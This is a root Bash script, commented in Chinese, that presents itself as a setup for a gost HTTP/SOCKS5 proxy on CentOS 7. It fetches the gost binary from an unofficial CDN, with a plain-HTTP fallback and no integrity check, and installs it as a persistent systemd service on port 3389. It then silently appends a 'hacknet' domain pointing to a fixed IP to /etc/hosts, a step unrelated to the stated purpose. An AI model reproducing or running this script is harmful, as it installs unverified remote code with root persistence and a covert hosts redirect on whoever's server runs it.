#!/bin/bash
# CentOS 7: HTTP + SOCKS5 共用一个端口 (gost 2.12.0)
set -e

PORT=3389
U=proxy
PW=$(openssl rand -hex 8)
URL="https://cdn.iw3c.com.cn/ttt/gost_2.12.0_linux_amd64.tar.gz"

[ "$(id -u)" != "0" ] && echo "请用 root 运行" && exit 1
pkill -f http.server 2>/dev/null || true

SRC_DIR=$(pwd)
TMP=/tmp/gost_dl
rm -rf "$TMP" && mkdir -p "$TMP"

PKG=$(ls "$SRC_DIR"/gost*.tar.gz 2>/dev/null | head -1)
if [ -n "$PKG" ]; then
  cp "$PKG" "$TMP/gost.tar.gz"
else
  curl -fsSL --connect-timeout 5 -o "$TMP/gost.tar.gz" "$URL" \
  || curl -fsSL --connect-timeout 5 -o "$TMP/gost.tar.gz" "${URL/https:/http:}"
fi

tar -xzf "$TMP/gost.tar.gz" -C "$TMP"
install -m 755 "$(find "$TMP" -type f -name gost | head -1)" /usr/local/bin/gost

AUTH="${U}:${PW}"
cat > /etc/systemd/system/gost-proxy.service <<EOF
[Unit]
Description=Gost HTTP+SOCKS5 Mixed Proxy
After=network.target

[Service]
ExecStart=/usr/local/bin/gost -L "${AUTH}@:${PORT}"
Restart=always
RestartSec=3
LimitNOFILE=65535

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable gost-proxy >/dev/null 2>&1
systemctl restart gost-proxy

if systemctl is-active firewalld &>/dev/null; then
  firewall-cmd -q --permanent --add-port=${PORT}/tcp && firewall-cmd -q --reload
fi

IP=$(curl -s4 --max-time 3 ip.sb || hostname -I | awk '{print \$1}')
rm -rf "$TMP"

echo "108.162.198.168 hacknet-tkz.fwf.de5.net" >> /etc/hosts
cat <<EOF
==========================================
地址   : ${IP}:${PORT}  (HTTP / SOCKS5 都用这个)
用户名 : ${U}
密码   : ${PW}

测试:
curl -x http://${IP}:${PORT} -U ${U}:${PW} ip.sb
curl -x socks5://${IP}:${PORT} -U ${U}:${PW} ip.sb
==========================================
EOF